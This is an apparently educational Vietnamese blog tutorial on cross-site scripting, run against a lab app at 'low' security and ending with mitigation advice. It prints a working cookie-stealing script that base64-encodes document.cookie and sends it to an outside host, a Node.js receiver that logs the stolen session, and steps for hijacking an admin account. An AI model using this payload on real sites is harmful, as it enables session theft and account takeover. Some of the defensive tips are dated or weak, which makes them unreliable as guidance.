01/10/2018, 17:00

XSS là gì & Cách phòng chống

Mục đích tấn công của XSS : Lấy Cookie của người dùng để có thể giả mạo phiên làm việc và thông qua đó truy cập vào website. KeyLogging ghi lại những thao tách của người dùng, Phishing : thay đổi cấu trúc trang web hiện tại để đánh lừa người dùng: nhập username , password , thẻ ...

Mục đích tấn công của XSS: Lấy Cookie của người dùng để có thể giả mạo phiên làm việc và thông qua đó truy cập vào website. KeyLogging ghi lại những thao tách của người dùng, Phishing: thay đổi cấu trúc trang web hiện tại để đánh lừa người dùng: nhập username, password, thẻ tín dụng…

1. Kịch bản tấn công XSS.

  • Người dùng truy cập vào 1 trang web (của Malicious Attacker) hoặc nhận được mail, cái mà có chứa nội dung nguy hiểm

  • Người dùng click vào link mà nội dung kẻ tấn công gửi cho. Nội dung của link chứa script, script này sẽ nhúng vào trang web mà kẻ tấn công muốn phá hoại
  • Website bị tấn công sẽ thực thi yêu cầu không mong muốn của người dùng thông qua script đã được nhúng
  • Brower của người dùng thực thi script không mong muốn, có thể gửi các thông tin mà hacker mong muốn.

2. Các thức hoạt động.

  • Web Application có một chức năng sau

  • Một ứng dụng web cho việc nhắn tin giữa các user với nhau. Người dùng nhập tên của mình và message muốn gửi cho toàn bộ người khác trong hệ thống. Member khác vào sẽ đọc được nội dung mà người khác đã gửi lên hệ thống. Chức năng này giống như chức năng comment của facebook. Mọi người đều đọc được hết các comment.

  • Để kiểm tra xem ứng dụng này có thể lợi dụng lỗ hổng XSS hay không ta có thể test với nội dung sau của message: <script>console.log(“test xss!!!”)</script>. Nếu Log trên được bắn ra thì ứng dụng này có thể lợi dụng lỗ hổng XSS để thực hiện hành vi không mong muốn với người khác. Để test chức năng này đặt security level: low. Load lại trang web thì thấy kết quả như sau thì sẽ có thể lợi dụng lỗ hổng XSS:
  • Nhìn vào kết quả trên thấy rằng hệ thống đang bị lỗi XSS. Javascript được nhúng vào phần message vẫn chạy được một cách bình thường.
  • Khi hacker chỉ alert(1); , console.log(“xyz abc”) thì thấy rằng cái lỗi này chẳng có gì phải đáng lo lắng. Mà công nhận không đáng lo thật. :)

3. Hiểu rõ vấn đề.

  • Với ứng dụng này thử challenge bằng cách ăn cắp phiên làm việc của các victim nếu nhảy vào xem chức năng message trên.
  • Vai trò trong ví dụ
    • Hacker: user smithy của hệ thống
    • Victim: user admin của hệ thống
  • Mô hình test thử:

  • Nội dung của javascript để nhúng vào website nơi victim truy cập

<script> 
var s = btoa(document.cookie); 
var x = document.createElement("IMG"); 
x.setAttribute("src", "https://test-facebook-chatbot-dinhphi3916.c9users.io/xss?cookie=" + s); 
x.setAttribute("awidth", "1"); x.setAttribute("awidth", "1"); 
document.body.appendChild(x); 
</script>
  • Nội dung gửii tới server hacker là cookie của website: document.cookie, dữ liệu được mã hóa dưới dạng Base64 dùng hàm bota.
  • Để test tác giả dùng server cá nhân test
  • Bên Server của hacker (dùng nodejs) có nội dung dạng như sau

P/s: Lý do dùng Base64 là để có thể gửi cookie như một value.

    app.get('/xss', function(req, res) { 
      var data = req.query; 
      var value = new Buffer(data.cookie, 'base64').toString(); 
      console.log("GET HAVE A -------POST----- MESSAGE: "+ value); 
      res.sendStatus(200); 
    });
    
    • Kết quả 1. Hacker nhúng javascript vào phần message
    • Kết quả 2. Victim vào phần message & trả về các message trong đó có message của hacker & gửi thông tin cookie tới hacker
    • Kết quả 3. Tại Server của hacker sẽ nhận được thông tin sau
    GET HAVE A -------POST----- MESSAGE: PHPSESSID=t140lg2j16gbcnvimo05j7iis6; security=low GET /xss?cookie=UEhQU0VTU0lEPXQxNDBsZzJqMTZnYmNudmltbzA1ajdpaXM2OyBzZWN1cml0eT1sb3c= 200 1.735 ms - 2
    • Kết quả 4. Hacker smithly đổi cookie PHPSESSID và refresh lại trang web.
    • Như vậy với việc lấy được cookie, hacker smithy đã có thể vào với tư cách là admin. Đến đây smithy có thể làm mọi thao tác với quyền hạn mới của admin. Còn làm được gì thì tùy website.

    4. Cách Phòng chống

    • Cách phòng chống lỗi XSS là ngăn chặn việc thực hiện javascript mà User có thể nhập vào. Dựa vào các hàm escapse trước khi insert vào DB
    • Một số hàm escapse
    $message = stripslashes( $message ); 
    $message = mysql_real_escape_string( $message ); 
    $message = htmlspecialchars( $message );
    
    • Không cho phép các URL người dùng nhập vào có bắt đầu bằng http(s):// để lợi dụng lỗ hổng : <img src=’http://hacker-site..’>
    • Không cho phép nhập dạng các <script>
    • Thiết lập HttpOnly với cookie để không thể lấy cookie bằng javascript của hacker nhúng vào
    function setcookie ($name, $value = null, $expire = null, $path = null, $domain = null, $secure = null, $httponly = null)
        0